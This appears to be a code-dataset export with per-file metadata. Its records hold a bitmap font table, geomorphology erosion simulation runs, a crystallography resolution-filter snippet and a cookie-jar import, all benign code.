[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x1F
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # ' '
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '!'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '"'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '#'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '$'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '%'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '&'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '''
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '('
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # ')'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '*'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '+'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # ','
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '-'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '.'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '/'
[0x3c, 0x42, 0x81, 0x81, 0x42, 0x3c, 0x00, 0x00], # '0'
[0x00, 0x63, 0xe6, 0x84, 0x8c, 0xd8, 0x70, 0x00], # '1'
[0x11, 0x31, 0x73, 0x5e, 0xcc, 0x80, 0x00, 0x00], # '2'
[0x38, 0x40, 0x84, 0x8e, 0xc6, 0x7c, 0x00, 0x00], # '3'
[0x66, 0x99, 0x99, 0x99, 0x66, 0x00, 0x00, 0x00], # '4'
[0x38, 0x44, 0x82, 0x99, 0xe7, 0x42, 0x00, 0x00], # '5'
[0x38, 0x40, 0x81, 0x9f, 0x90, 0x78, 0x00, 0x00], # '6'
[0x06, 0x0b, 0x11, 0x11, 0x13, 0xfe, 0x00, 0x00], # '7'
[0xff, 0x88, 0x88, 0x78, 0x08, 0x0c, 0x00, 0x00], # '8'
[0x62, 0x51, 0x11, 0xe2, 0x84, 0x78, 0x00, 0x00], # '9'
[0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # ':'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # ';'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '<'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '='
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '>'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '?'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '@'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'A'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'B'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'C'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'D'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'E'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'F'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'G'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'H'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'I'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'J'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'K'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'L'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'M'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'N'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'O'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'P'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'Q'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'R'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'S'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'T'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'U'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'V'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'W'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'X'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'Y'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'Z'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '['
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '\'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # ']'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '^'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '_'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '`'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'a'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'b'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'c'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'd'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'e'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'f'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'g'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'h'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'i'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'j'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'k'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'l'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'm'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'n'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'o'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'p'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'q'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'r'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 's'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 't'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'u'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'v'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'w'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'x'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'y'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 'z'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '{'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '|'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '}'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # '~'
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x7F
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x80
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x81
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x82
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x83
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x84
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x85
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x86
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x87
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x88
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x89
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x8A
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x8B
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x8C
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x8D
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x8E
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x8F
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x90
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x91
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x92
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x93
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x94
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x95
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x96
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x97
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x98
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x99
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x9A
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x9B
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x9C
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x9D
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x9E
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x9F
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA0
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA1
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA2
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA3
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA4
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA5
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA6
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA7
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA8
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xA9
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xAA
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xAB
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xAC
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xAD
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xAE
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xAF
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB0
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB1
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB2
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB3
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB4
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB5
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB6
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB7
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB8
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xB9
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xBA
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xBB
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xBC
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xBD
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xBE
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xBF
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC0
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC1
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC2
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC3
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC4
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC5
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC6
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC7
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC8
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xC9
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xCA
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xCB
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xCC
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xCD
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xCE
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xCF
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD0
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD1
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD2
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD3
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD4
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD5
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD6
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD7
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD8
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xD9
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xDA
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xDB
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xDC
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xDD
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xDE
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xDF
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE0
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE1
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE2
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE3
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE4
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE5
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE6
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE7
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE8
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xE9
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xEA
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xEB
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xEC
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xED
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xEE
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xEF
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF0
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF1
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF2
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF3
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF4
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF5
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF6
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF7
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF8
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xF9
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xFA
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xFB
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xFC
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xFD
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xFE
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0xFF
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
]
| 61.19305
| 61
| 0.564263
| 2,281
| 15,849
| 3.919772
| 0.094257
| 1.585505
| 2.078962
| 2.387205
| 0.889833
| 0.889833
| 0.889833
| 0.889833
| 0.320769
| 0.320769
| 0
| 0.540649
| 0.243296
| 15,849
| 259
| 62
| 61.19305
| 0.20487
| 0.074642
| 0
| 0.949807
| 0
| 0
| 0
| 0
| 0
| 0
| 0.570754
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
0549a31711856b81185a5efca991ca4f67b29a91
| 2,741
|
py
|
Python
|
1d_sims_and_figs/high_uplift_sims.py
|
CovingtonResearchGroup/ESURF-Steady-state-layered-rocks
|
5376c92dc40b310b7fb7da9d650b48ff0d897186
|
[
"MIT"
] | null | null | null |
1d_sims_and_figs/high_uplift_sims.py
|
CovingtonResearchGroup/ESURF-Steady-state-layered-rocks
|
5376c92dc40b310b7fb7da9d650b48ff0d897186
|
[
"MIT"
] | null | null | null |
1d_sims_and_figs/high_uplift_sims.py
|
CovingtonResearchGroup/ESURF-Steady-state-layered-rocks
|
5376c92dc40b310b7fb7da9d650b48ff0d897186
|
[
"MIT"
] | 2
|
2017-03-26T14:13:16.000Z
|
2021-05-31T02:16:41.000Z
|
from stream_power import stream_erode
import subprocess
#Case n=2/3
case_name = 'high_uplift_0.66.pkl'
res = stream_erode(outputfile=case_name,n=2./3., m=1./3.,
K1=1e-4,KR=2.0,uplift=0.0025,
thickness=50.,two_layers=100.,nx=2000.,nskip=80,
dx=25.,nt = 50000,A0 = 1., x0=1500.,
h = 1.67, #value from W+T 1999,Hack (1957)
k_a = 6.69,#value from W+T 1999, Hack (1957)
duration=10000./0.0025)
subprocess.check_call(['python', 'stream_power_movie.py', case_name])
#Case n=3/2
case_name = 'high_uplift_1.5.pkl'
res = stream_erode(outputfile=case_name,n=3./2., m=3./4.,
K1=1.5e-6,KR=2.0,uplift=0.0025,
thickness=50.,two_layers=100.,nx=2000.,nskip=80,
dx=25.,nt = 50000,A0 = 1., x0=2500.,
h = 1.67, #value from W+T 1999,Hack (1957)
k_a = 6.69,#value from W+T 1999, Hack (1957)
duration=10000./0.0025)
subprocess.check_call(['python', 'stream_power_movie.py', case_name])
#Case n=1
case_name = 'high_uplift_1.pkl'
res = stream_erode(outputfile=case_name,n=1., m=1./2.,
K1=2.e-5,KR=1.2,uplift=0.0025,
thickness=50.,two_layers=100.,nx=2000.,nskip=50,
dx=25.,nt = 50000,A0 = 1., x0=2500.,
h = 1.67, #value from W+T 1999,Hack (1957)
k_a = 6.69,#value from W+T 1999, Hack (1957)
duration=10000./0.0025)
subprocess.check_call(['python', 'stream_power_movie.py', case_name])
#Case n=2/3 with different thicknesses
case_name = 'diff_thickness_high_uplift_0.66.pkl'
res = stream_erode(outputfile=case_name,n=2./3., m=1./3.,
K1=1e-4,KR=2.0,uplift=0.0025,
thickness=90.,two_layers=100.,nx=2000.,nskip=80,
dx=25.,nt = 50000,A0 = 1., x0=1500.,
h = 1.67, #value from W+T 1999,Hack (1957)
k_a = 6.69,#value from W+T 1999, Hack (1957)
duration=10000./0.0025)
subprocess.check_call(['python', 'stream_power_movie.py', case_name, '90'])
#Case n=3/2 with different thicknesses
case_name = 'diff_thickness_high_uplift_1.5.pkl'
res = stream_erode(outputfile=case_name,n=3./2., m=3./4.,
K1=1.5e-6,KR=2.0,uplift=0.0025,
thickness=90.,two_layers=100.,nx=2000.,nskip=80,
dx=25.,nt = 50000,A0 = 1., x0=2500.,
h = 1.67, #value from W+T 1999,Hack (1957)
k_a = 6.69,#value from W+T 1999, Hack (1957)
duration=10000./0.0025)
subprocess.check_call(['python', 'stream_power_movie.py', case_name, '90'])
| 43.507937
| 75
| 0.557461
| 440
| 2,741
| 3.334091
| 0.156818
| 0.0818
| 0.068166
| 0.074983
| 0.93865
| 0.920245
| 0.920245
| 0.920245
| 0.895706
| 0.834356
| 0
| 0.193581
| 0.283838
| 2,741
| 62
| 76
| 44.209677
| 0.553744
| 0.152134
| 0
| 0.787234
| 0
| 0
| 0.114583
| 0.075521
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.042553
| 0
| 0.042553
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
05570621206acd49c411dea9ce26bcbfa2e8cdb4
| 593
|
py
|
Python
|
MillerArrays/extractReflectionInShell.py
|
MooersLab/jupyterlabcctbxsnipsplus
|
80a380046adcc9b16581ed1681884017514edbb7
|
[
"MIT"
] | null | null | null |
MillerArrays/extractReflectionInShell.py
|
MooersLab/jupyterlabcctbxsnipsplus
|
80a380046adcc9b16581ed1681884017514edbb7
|
[
"MIT"
] | null | null | null |
MillerArrays/extractReflectionInShell.py
|
MooersLab/jupyterlabcctbxsnipsplus
|
80a380046adcc9b16581ed1681884017514edbb7
|
[
"MIT"
] | null | null | null |
# Description: Extract the reflections in a shell.
# Source: NA
"""
from iotbx import mtz
mtz_obj = mtz.object(file_name="${1:2V89}.mtz")
miller_arrays = mtz_obj.as_miller_arrays()
for miller_array in miller_arrays:
miller_array_truncated = miller_array.resolution_filter(d_min=${2:2}, d_max=${3:5})
print(miller_array_truncated)
"""
from iotbx import mtz
mtz_obj = mtz.object(file_name="2V89.mtz")
miller_arrays = mtz_obj.as_miller_arrays()
for miller_array in miller_arrays:
miller_array_truncated = miller_array.resolution_filter(d_min=2, d_max=5)
print(miller_array_truncated)
| 31.210526
| 87
| 0.780776
| 96
| 593
| 4.489583
| 0.354167
| 0.204176
| 0.185615
| 0.083527
| 0.863109
| 0.742459
| 0.742459
| 0.742459
| 0.742459
| 0.742459
| 0
| 0.024528
| 0.106239
| 593
| 18
| 88
| 32.944444
| 0.788679
| 0.55312
| 0
| 0
| 0
| 0
| 0.03125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0.166667
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
554f469491dfe7fe57cd610925c5a8c67fb19ffa
| 48
|
py
|
Python
|
cookiestxt/__init__.py
|
tubaman/cookiestxt
|
ddcab34761de703ee3c13a44f306dd0f44b6668f
|
[
"PSF-2.0"
] | 1
|
2017-02-24T12:27:24.000Z
|
2017-02-24T12:27:24.000Z
|
cookiestxt/__init__.py
|
tubaman/cookiestxt
|
ddcab34761de703ee3c13a44f306dd0f44b6668f
|
[
"PSF-2.0"
] | null | null | null |
cookiestxt/__init__.py
|
tubaman/cookiestxt
|
ddcab34761de703ee3c13a44f306dd0f44b6668f
|
[
"PSF-2.0"
] | null | null | null |
from ._MozillaCookieJar import MozillaCookieJar
| 24
| 47
| 0.895833
| 4
| 48
| 10.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.083333
| 48
| 1
| 48
| 48
| 0.954545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
55ac32f609275211992e705680a9f047df443a9a
| 228
|
py
|
Python
|
can_decoder/dataframe/__init__.py
|
justinwald99/can_decoder
|
abfdd839856745f88b3fc3a58c8bedbdd05d5616
|
[
"MIT"
] | 17
|
2020-08-18T02:34:57.000Z
|
2022-03-16T16:26:53.000Z
|
can_decoder/dataframe/__init__.py
|
justinwald99/can_decoder
|
abfdd839856745f88b3fc3a58c8bedbdd05d5616
|
[
"MIT"
] | 4
|
2020-09-09T04:18:28.000Z
|
2022-02-23T10:29:14.000Z
|
can_decoder/dataframe/__init__.py
|
justinwald99/can_decoder
|
abfdd839856745f88b3fc3a58c8bedbdd05d5616
|
[
"MIT"
] | 3
|
2021-08-18T18:30:43.000Z
|
2022-02-21T07:11:09.000Z
|
